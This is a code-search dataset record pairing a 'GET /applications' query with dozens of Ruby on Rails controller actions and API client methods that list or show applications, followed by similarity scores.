"def index\n if current_user.is_admin\n @applications = Application.all\n puts @applications\n elsif current_user.is_seeker\n @applications = Application.where(jobseeker_id: Jobseeker.find_by(user_id: current_user.id).id)\n elsif current_user.is_biz\n @applications = Application.where(job_id: Job.where(bizowner_id: Bizowner.find_by(user_id: current_user.id).id))\n end\n end",
"def show\n @newapp = Newapp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @newapp }\n end\n end",
"def show\n render json: @app\n end",
"def get_application_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ApplicationManagementApi.get_application_list ...'\n end\n # resource path\n local_var_path = '/appManagement/applications'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['APP_MANAGEMENT', 'OAUTH']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ApplicationListSchema')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ApplicationManagementApi#get_application_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def show\n @application = Application.find(params[:id])\n end",
"def get(options = {})\n request_model = @request_model_factory.get_app_request_model(options)\n response = @network_client.perform_request(request_model)\n json = JSON.parse(response.body)\n Fabricio::Model::App.new(json)\n end",
"def find\n raise Zype::Client::NoAppKey if Zype.configuration.app_key.to_s.empty?\n\n client.execute(method: :get, path: '/app')\n end",
"def get_current_application_information\n response = request(\n :oauth2_applications_me, nil,\n :get,\n \"oauth2/applications/@me\"\n )\n Rapture::OauthApplication.from_json(response.body)\n end",
"def list_apps\n check_scope!\n\n apps = App.accessible_by(@context).unremoved.includes(:app_series).order(:title)\n apps = apps.where(scope: params[:scopes]) if params[:scopes].present?\n\n # Filter by latest revisions or versions.\n # This is kinda tricky, but we need to handle the apps which revisions were moved to a space\n # before we migrated to the new way how app is published to a space.\n apps = apps.select(&:latest_accessible_in_scope?)\n\n result = apps.map do |app|\n describe_for_api(app, unsafe_params[:describe])\n end\n\n render json: result\n end",
"def get_applications_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementApi.get_applications ...'\n end\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ManagementApi.get_applications, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ManagementApi.get_applications, must be greater than or equal to 1.'\n end\n\n # resource path\n local_var_path = '/v1/applications'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n query_params[:'sort'] = opts[:'sort'] if !opts[:'sort'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'InlineResponse2003' \n\n # auth_names\n auth_names = opts[:auth_names] || ['management_key', 'manager_auth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementApi#get_applications\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def stub_api_applications_get(request_params: default_applications_filter, response:, tenant_header: user_tenant_header)\n stub_api_common_get('applications', request_params, response, tenant_header)\n end",
"def index\n @app_configs = AppConfig.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @app_configs }\n end\n end",
"def show\n @app = App.find_by_id(params[:id])\n if (@app)\n Rabl.render(@app, 'api/apps/show', view_path: 'app/views')\n else\n render status: 401, json: {error: \"Invalid app\"}\n end\n end",
"def index\n @apps = Array.new\n App.find_all_by_accepted(true).each do |a|\n campaign = a.getActiveCampaign\n if !campaign.nil?\n if campaign.isAvailable\n @apps << a\n end\n end\n end\n\n @applist = Array.new\n device = nil\n\n if params.has_key?(:device_uid)\n device = Device.find_by_uuid(params[:device_uid])\n end\n\n @apps.collect do |app|\n app_image = nil\n available_tokens = get_available_tokens(app, device)\n\n if (app.image.url != nil)\n app_image = \"#{app.image.url}\"\n @applist << { :id => app.id, :name => app.name, :description => app.description, :url => app.url, :image => app_image, :rating => available_tokens, :timeRemaining => -1 }\n else\n @applist << { :id => app.id, :name => app.name, :description => app.description, :url => app.url, :rating => available_tokens, :timeRemaining => -1 }\n end\n end\n\n json_apps = @applist.to_json\n render status: 200, json: json_apps\n end",
"def index\n @apparels = Apparel.all\n json_response({success: true, data: @apparels}, :ok)\n end",
"def index\n if current_user.has_role? :admin\n @applications = Application.all\n else\n redirect_to root_path\n end\n end",
"def get_application(opts = {})\n data, _status_code, _headers = get_application_with_http_info(opts)\n data\n end",
"def index\n @applications = @application_scope\n end",
"def filter_apps\n @apps = ThirdpartyService.get_app_version(@url, AUTH, @http)['list']\n filter_result = render_to_string(partial: 'home/app_list', layout: false)\n render json: { filter_result: filter_result }\n end",
"def index\n @applications = @opportunity.applications\n end",
"def index\n @user_applications = UserApplication.all\n end",
"def oauth_application(token)\n request(\n __method__,\n :get,\n \"#{api_base}/oauth2/applications/@me\",\n Authorization: token\n )\n end",
"def show\n respond_to do |format|\n format.json {\n\n @project_application = ProjectApplication.find_by_id(params[:id])\n\n if @project_application\n render :json => @project_application\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end",
"def all\n request_model = @request_model_factory.all_apps_request_model\n response = @network_client.perform_request(request_model)\n JSON.parse(response.body).map do |app_hash|\n Fabricio::Model::App.new(app_hash)\n end\n end",
"def index\n @applications = Application.find(:all,:conditions=>['user_id=?',current_user.id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @applications }\n end\n end",
"def applications\n return @applications\n end",
"def applications\n return @applications\n end",
"def show\n @student_application = StudentApplication.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student_application }\n end\n end",
"def index\n set_records_count_header(filterBySearch(applications_scope))\n @applications = filterBySearch(applications_scope).offset(params[:offset] || 0).limit(params[:limit] || 6)\n render json: @applications.all\n end",
"def show\n params[:page_size] = params[:page_size] || PAGE_SIZE\n\t\t@mobile_apps = MobileApp.where(id: params[:id]).page(params[:page] || DEFAULT_PAGE).per(params[:page_size] || PAGE_SIZE)\n\t\trespond_to do |format|\n\t\t\tformat.json { render \"show\" }\n\t\tend\t\t\n\tend",
"def show\n @mobileapp = Mobileapp.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mobileapp }\n end\n end",
"def index\n @apps = current_user.apps.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @apps }\n end\n end",
"def show\n @application_status = ApplicationStatus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @application_status }\n end\n end",
"def show\n @app = current_user.apps.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @app }\n end\n end",
"def show\n @application = Application.find(params[:id])\n \n if @application.nil? or @application.job.nil?\n redirect_to \"/\", :alert=>\"You do not have access to this page\"\n return false\n end\n\n return unless appAccess?(@application.job.id)\n\n @job = @application.job\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @application }\n end\n end",
"def app\n jobs = App.find_by(uid: unsafe_params[:id]).\n app_series.jobs.editable_by(@context).\n eager_load(:app, user: :org, analysis: :workflow).\n includes(:taggings).\n search_by_tags(params.dig(:filters, :tags)).\n order(order_from_params).page(page_from_params).per(PAGE_SIZE)\n jobs.each { |job| job.current_user = @context.user }\n\n jobs = JobService::JobsFilter.call(jobs, params[:filters])\n\n page_dict = pagination_dict(jobs)\n\n render json: jobs, root: \"jobs\", meta: count(page_dict[:total_count]).\n merge({ pagination: page_dict }), adapter: :json\n end",
"def applications\n instantiate_models Application, session.get('operations/application')\n end",
"def list_apps\n render :text => app_configs.keys\n end",
"def new\n @application = Application.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @application }\n end\n end",
"def new\n @application = Application.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @application }\n end\n end",
"def new\n @application = Application.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @application }\n end\n end",
"def show\n @app = App.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @app }\n format.json { render :json => @app } \n end\n end",
"def show\n @web_app = WebApp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @web_app }\n end\n end",
"def all_apps\n json = ENV[\"OOD_APPS\"] || File.read(ENV[\"OOD_CONFIG\"] || File.expand_path(\"../config.json\", __FILE__))\n JSON.parse(json).map { |app| App.new(app.to_h) }\nend",
"def applications=(value)\n @applications = value\n end",
"def applications=(value)\n @applications = value\n end",
"def index\n @programs = Program.where(:user_id => current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @programs }\n end\n end",
"def show\n @app_config = AppConfig.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @app_config }\n end\n end",
"def applications()\n return MicrosoftGraph::Applications::ApplicationsRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def list_by_param(params = {})\n applications = []\n\n res = list_json(params)\n unless res.nil?\n data = res['data']\n\n data.each do |item|\n applications << Application.new(item)\n end\n\n applications\n end\n end",
"def index\n @project_applications = ProjectApplication.all\n end",
"def index\n if current_user.admin\n @planning_applications = PlanningApplication.all\n else\n @planning_applications = current_user.planning_applications\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @planning_applications }\n end\n end",
"def index\n @app_roles = AppRole.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @app_roles }\n end\n end",
"def get_apps(scope)\n\t\tcase scope\n\t\twhen :added\n\t\t\treturn ClientApplication.select(\"client_applications.*\").\n\t\t\tjoins(:oauth_tokens).\n\t\t\twhere(\"oauth_tokens.invalidated_at is null and oauth_tokens.authorized_at is not null and oauth_tokens.type = 'AccessToken'\").\n\t\t\twhere(\"client_applications.id = oauth_tokens.client_application_id and oauth_tokens.user_id = #{id}\").\n\t\t\tgroup(\"client_applications.id\").\n\t\t\torder(\"oauth_tokens.authorized_at DESC\")\n\t\t\n\t\twhen :created\n\t\t\treturn apps\n\t\tend\n\tend",
"def application!\n res = get!(APPLICATION_PATH)\n build_application(res)\n end"
] | [
"0.86093307",
"0.79462093",
"0.78742266",
"0.7813113",
"0.7733298",
"0.7699168",
"0.7673586",
"0.75540197",
"0.7525506",
"0.74982053",
"0.74982053",
"0.7469429",
"0.74091655",
"0.72886604",
"0.7258537",
"0.72536296",
"0.72512525",
"0.72512525",
"0.72512525",
"0.72512525",
"0.7177115",
"0.71252453",
"0.7106372",
"0.70934665",
"0.7082288",
"0.70314467",
"0.7021761",
"0.70215744",
"0.70173585",
"0.70139855",
"0.69944984",
"0.69787854",
"0.6973757",
"0.6954125",
"0.6954125",
"0.6954125",
"0.6919948",
"0.69119614",
"0.6891602",
"0.688478",
"0.68040645",
"0.67754006",
"0.6719938",
"0.66749144",
"0.66709846",
"0.6668065",
"0.6666625",
"0.6616258",
"0.657098",
"0.6569645",
"0.656518",
"0.654928",
"0.65468466",
"0.6545308",
"0.6542648",
"0.6537459",
"0.6536064",
"0.6500707",
"0.64728284",
"0.64696753",
"0.6460504",
"0.6451936",
"0.6436625",
"0.6418212",
"0.64178914",
"0.64130706",
"0.6406539",
"0.6405111",
"0.639945",
"0.6387851",
"0.6385932",
"0.63684237",
"0.63684237",
"0.63634026",
"0.63554245",
"0.63537836",
"0.6351991",
"0.6347285",
"0.63472646",
"0.6347059",
"0.6297655",
"0.62807035",
"0.62570804",
"0.6254936",
"0.62535596",
"0.62535596",
"0.62535596",
"0.6237198",
"0.6234875",
"0.62326026",
"0.6221779",
"0.6221779",
"0.6214728",
"0.6212926",
"0.6212392",
"0.62110245",
"0.62037235",
"0.6194204",
"0.61880845",
"0.618132",
"0.6174802"
] | 0.0 | -1 |
GET /applications/1 GET /applications/1.json | def show
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def applications_list\n get \"applications\"\n end",
"def show\n @applications_application = ApplicationsApplication.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @applications_application }\n end\n end",
"def index\n @applications = Application.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @applications }\n end\n end",
"def show\n @application = Application.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @application }\n end\n end",
"def show\n @application = Application.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @application }\n end\n end",
"def index\n @applications = Application.all\n\n respond_to do |format|\n format.html # index.html.haml\n format.json { render json: @applications }\n end\n end",
"def show\n @application = Application.find(params[:id])\n\n respond_to do |format|\n format.html # show.haml\n format.json { render json: @application }\n end\n end",
"def index # testing purposes only\n applications = Application.includes(:user).all\n\n render json: applications\n end",
"def show\n @program_app = ProgramApp.find(params[:id])\n\n respond_to do |format|\n format.json do\n render json: @program_app\n end\n end\n end",
"def get_applications\n http_get_request(Scalarium.applications_url)\n end",
"def index\n respond_with @applications = Application.all\n end",
"def get(id)\n response = Network.get(['Applications', id])\n Application.new(response)\n end",
"def show\n #表示は誰でもできる\n @application = Application.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @application }\n end\n end",
"def get_applist\n return get_response(\"applist\", :json)\n end",
"def show\n respond_with @application = Application.find(params[:id])\n end",
"def show\n @app = App.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @app }\n end\n end",
"def show\n @app = App.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @app }\n end\n end",
"def show\n @app = App.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @app }\n end\n end",
"def index\n @apps = @client.apps\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @apps }\n end\n end",
"def get_applications\n\t\tApplication.where(\"api_user_id = ?\", id)\n\tend",
"def list_applications(client)\n client.applications.each do |application|\n puts \"Application: #{application.name}\"\n puts \" Description: #{application.description}\"\n puts \" Status: #{application.status}\"\n puts \" Href: #{application.href}\"\n end \nend",
"def app_by_id(id)\n get(\"/apps/#{id}\")\n end",
"def applications\n Application.from session.get 'operations/application', API_V1\n end",
"def index\n @applications = Application.all\n end",
"def index\n @applications = Application.all\n end",
"def index\n @applications = Application.all\n end",
"def index\n @applications = Application.all\n end",
"def show\n @application = Application.find(params[:id])\n end",
"def show\n @app = @client.app(params[:id])\n @paas_providers = cached_providers\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @app }\n end\n end",
"def getApplications(ak)\n uri='https://api.newrelic.com/v2/applications.json'\n parseUrl=URI.parse(uri)\n host=parseUrl.host\n path=parseUrl.path\n getRequest(ak,uri,host,path)\nend",
"def show\n @newapp = Newapp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @newapp }\n end\n end",
"def show\n @application = Application.find(params[:id])\n end",
"def index\n @app = App.new\n @apps = App.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @apps }\n end\n end",
"def get_applications_of_project\n respond_to do |format|\n param = params[:payload]\n format.json {\n @project_applications = ProjectApplication.where(:project_id => Project.find_by_id(param[:id]))\n if @project_applications\n render :json => @project_applications\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end",
"def show\n @user_app = UserApp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_app }\n end\n end",
"def app data={}\n get '/app', data\n end",
"def get_applications_of_user\n respond_to do |format|\n format.json {\n @project_applications = ProjectApplication.where(:user_id => @current_user.id)\n if @project_applications\n render :json => @project_applications\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end",
"def applications(options = {})\n @applications = api.get_applist if !@applications\n @applications\n end",
"def show\n render json: @application\n end",
"def show\n @application_status = ApplicationStatus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @application_status }\n end\n end",
"def index\n if current_user\n @applications = Application.where(user_id: current_user.id)\n else\n redirect_to root_path\n end\n end",
"def show\n @app = App.find_by_id(params[:id])\n if (@app)\n Rabl.render(@app, 'api/apps/show', view_path: 'app/views')\n else\n render status: 401, json: {error: \"Invalid app\"}\n end\n end",
"def list_applications(workspace_id)\n # check and reauthenticate\n self.isTokenExpired()\n\n results = []\n url = @api_url + \"/api/workspaces/#{workspace_id}/applications\"\n headers = {:accept => :json, :authorization => \"bearer #{@access_token}\"}\n\n RestClient.proxy = @proxy\n\n begin\n r = RestClient.get url, headers\n rescue RestClient::ExceptionWithResponse => e\n puts e.response\n end\n\n applications = JSON.parse(r.body)['data']\n #application_count = JSON.parse(r.body)['TotalResults']\n\n #puts \"applications dump is #{JSON.pretty_generate(applications)}\\napplication count is #{application_count}\"\n\n applications.each do |application|\n results.push(application)\n end\n return results\n end",
"def index\n @user_apps = UserApp.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @user_apps }\n end\n end",
"def applications\n get(PLURAL_PATH, RESOURCE)\n end",
"def show\n @app = current_user.apps.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @app }\n end\n end",
"def show\n render json: @app\n end",
"def show\n respond_to do |format|\n format.json {\n\n @project_application = ProjectApplication.find_by_id(params[:id])\n\n if @project_application\n render :json => @project_application\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end",
"def show\n @mobileapp = Mobileapp.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mobileapp }\n end\n end",
"def list()\n path = \"/query/apps\"\n conn = multipart_connection(port: 8060)\n response = conn.get path\n\n if response.success?\n regexp = /id=\"([^\"]*)\"\\stype=\"([^\"]*)\"\\sversion=\"([^\"]*)\">([^<]*)</\n apps = response.body.scan(regexp)\n printf(\"%30s | %10s | %10s | %10s\\n\", \"title\", \"id\", \"type\", \"version\")\n printf(\"---------------------------------------------------------------------\\n\")\n apps.each do |app|\n printf(\"%30s | %10s | %10s | %10s\\n\", app[3], app[0], app[1], app[2])\n end\n end\n end",
"def index\n @client_applications = ClientApplication.all\n end",
"def show\n @app = App.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @app }\n format.json { render :json => @app } \n end\n end",
"def get id\n apps.select do |app|\n app.id == id\n end.first\n end",
"def find\n raise Zype::Client::NoAppKey if Zype.configuration.app_key.to_s.empty?\n\n client.execute(method: :get, path: '/app')\n end",
"def show\n @app_config = AppConfig.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @app_config }\n end\n end",
"def show\n @web_app = WebApp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @web_app }\n end\n end",
"def get(options = {})\n request_model = @request_model_factory.get_app_request_model(options)\n response = @network_client.perform_request(request_model)\n json = JSON.parse(response.body)\n Fabricio::Model::App.new(json)\n end",
"def applist(options:)\n path = \"/query/apps\"\n response = nil\n multipart_connection(port: 8060) do |conn|\n response = conn.get path\n end\n\n if response.success?\n regexp = /id=\"([^\"]*)\"\\stype=\"([^\"]*)\"\\sversion=\"([^\"]*)\">([^<]*)</\n apps = response.body.scan(regexp)\n printf(\"%30s | %10s | %10s | %10s\\n\", \"title\", \"id\", \"type\", \"version\")\n printf(\"---------------------------------------------------------------------\\n\")\n apps.each do |app|\n printf(\"%30s | %10s | %10s | %10s\\n\", app[3], app[0], app[1], app[2])\n end\n end\n end",
"def show\n @student_application = StudentApplication.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student_application }\n end\n end",
"def index\n @applications = Application.find(:all,:conditions=>['user_id=?',current_user.id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @applications }\n end\n end",
"def index\n if current_user.is_admin\n @applications = Application.all\n puts @applications\n elsif current_user.is_seeker\n @applications = Application.where(jobseeker_id: Jobseeker.find_by(user_id: current_user.id).id)\n elsif current_user.is_biz\n @applications = Application.where(job_id: Job.where(bizowner_id: Bizowner.find_by(user_id: current_user.id).id))\n end\n end",
"def applications(params = {}) # rubocop:disable Style/OptionHash\n page_limit = params.delete(:page_limit) { 1 }\n\n applications_array = []\n 1.upto page_limit do |i|\n response = request_applications(params.merge(page: i))\n applications_array += response[\"applications\"]\n break if response[\"paginationComplete\"]\n end\n applications_array\n end",
"def show\n @applicationlog = Applicationlog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @applicationlog }\n end\n end",
"def show\n @application = Application.find(params[:id])\n \n if @application.nil? or @application.job.nil?\n redirect_to \"/\", :alert=>\"You do not have access to this page\"\n return false\n end\n\n return unless appAccess?(@application.job.id)\n\n @job = @application.job\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @application }\n end\n end",
"def index\n @applications = @opportunity.applications\n end",
"def index\n @app_configs = AppConfig.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @app_configs }\n end\n end",
"def show\n @app = Mms::App.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @app }\n end\n end",
"def get_current_application_information\n response = request(\n :oauth2_applications_me, nil,\n :get,\n \"oauth2/applications/@me\"\n )\n Rapture::OauthApplication.from_json(response.body)\n end",
"def show\n params[:page_size] = params[:page_size] || PAGE_SIZE\n\t\t@mobile_apps = MobileApp.where(id: params[:id]).page(params[:page] || DEFAULT_PAGE).per(params[:page_size] || PAGE_SIZE)\n\t\trespond_to do |format|\n\t\t\tformat.json { render \"show\" }\n\t\tend\t\t\n\tend",
"def current_application\n fail 'Application ID is missing' unless params.key?(:application_id)\n applications = current_user.applications\n applications.where(id: params[:application_id]).first\n end",
"def new\n @application = Application.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @application }\n end\n end",
"def new\n @application = Application.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @application }\n end\n end",
"def new\n @application = Application.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @application }\n end\n end",
"def get_application_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ApplicationManagementApi.get_application_list ...'\n end\n # resource path\n local_var_path = '/appManagement/applications'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['APP_MANAGEMENT', 'OAUTH']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ApplicationListSchema')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ApplicationManagementApi#get_application_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def get_applications_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementApi.get_applications ...'\n end\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ManagementApi.get_applications, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ManagementApi.get_applications, must be greater than or equal to 1.'\n end\n\n # resource path\n local_var_path = '/v1/applications'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n query_params[:'sort'] = opts[:'sort'] if !opts[:'sort'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'InlineResponse2003' \n\n # auth_names\n auth_names = opts[:auth_names] || ['management_key', 'manager_auth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementApi#get_applications\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @applications = @application_scope\n end",
"def stub_api_applications_get(request_params: default_applications_filter, response:, tenant_header: user_tenant_header)\n stub_api_common_get('applications', request_params, response, tenant_header)\n end",
"def index\n set_records_count_header(filterBySearch(applications_scope))\n @applications = filterBySearch(applications_scope).offset(params[:offset] || 0).limit(params[:limit] || 6)\n render json: @applications.all\n end",
"def show\n @app_role = AppRole.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @app_role }\n end\n end",
"def index\n @programs = Program.where(:user_id => current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @programs }\n end\n end",
"def index\n @apps = current_user.apps.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @apps }\n end\n end",
"def get_applications(opts = {})\n data, _status_code, _headers = get_applications_with_http_info(opts)\n data\n end",
"def index\n @apps = Array.new\n App.find_all_by_accepted(true).each do |a|\n campaign = a.getActiveCampaign\n if !campaign.nil?\n if campaign.isAvailable\n @apps << a\n end\n end\n end\n\n @applist = Array.new\n device = nil\n\n if params.has_key?(:device_uid)\n device = Device.find_by_uuid(params[:device_uid])\n end\n\n @apps.collect do |app|\n app_image = nil\n available_tokens = get_available_tokens(app, device)\n\n if (app.image.url != nil)\n app_image = \"#{app.image.url}\"\n @applist << { :id => app.id, :name => app.name, :description => app.description, :url => app.url, :image => app_image, :rating => available_tokens, :timeRemaining => -1 }\n else\n @applist << { :id => app.id, :name => app.name, :description => app.description, :url => app.url, :rating => available_tokens, :timeRemaining => -1 }\n end\n end\n\n json_apps = @applist.to_json\n render status: 200, json: json_apps\n end",
"def index\n @apparels = Apparel.all\n json_response({success: true, data: @apparels}, :ok)\n end",
"def fetch_user_application\n @user_application = UserApplication.find(params[:id])\n end",
"def application(applicant_id)\n request(:get, \"applicant_tracking/applications/#{applicant_id}\")\n end",
"def show\n @second_rails_app = SecondRailsApp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @second_rails_app }\n end\n end",
"def oauth_application(token)\n request(\n __method__,\n :get,\n \"#{api_base}/oauth2/applications/@me\",\n Authorization: token\n )\n end",
"def index\n @user_applications = UserApplication.all\n end",
"def get_app_spec\n # App should exist and be accessible\n app = App.accessible_by(@context).find_by_uid(unsafe_params[:id])\n fail \"Invalid app id\" if app.nil?\n\n render json: { spec: app.spec, assets: app.ordered_assets, packages: app.packages }\n end",
"def show\n @program = Program.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @program }\n end\n end",
"def show\n @program = Program.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @program }\n end\n end",
"def index\n @apps = App.all\n end",
"def index\n @apps = App.all\n end",
"def index\n @apps = App.all\n end",
"def index\n @apps = App.all\n end",
"def index\n @apps = App.all\n end",
"def index\n if current_user.has_role? :admin\n @applications = Application.all\n else\n redirect_to root_path\n end\n end",
"def show\n #@job_application = JobApplication.find(params[:id])\n\n #@user = User.find(params[:id])\n @job_application = current_user.job_applications #.page(params[:page]).per_page(10)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job_application }\n end\n end",
"def application!\n res = get!(APPLICATION_PATH)\n build_application(res)\n end",
"def index\n @apps = Application.order(:name).all\n end"
] | [
"0.81132996",
"0.7810077",
"0.7690873",
"0.7680093",
"0.7680093",
"0.7551706",
"0.7480087",
"0.7416221",
"0.7406069",
"0.73654455",
"0.730353",
"0.7294292",
"0.72875154",
"0.72744834",
"0.7261164",
"0.72428125",
"0.72428125",
"0.72428125",
"0.7239538",
"0.7212176",
"0.7209907",
"0.7166426",
"0.7166019",
"0.7109474",
"0.7109474",
"0.7109474",
"0.7109474",
"0.7050713",
"0.7018655",
"0.698697",
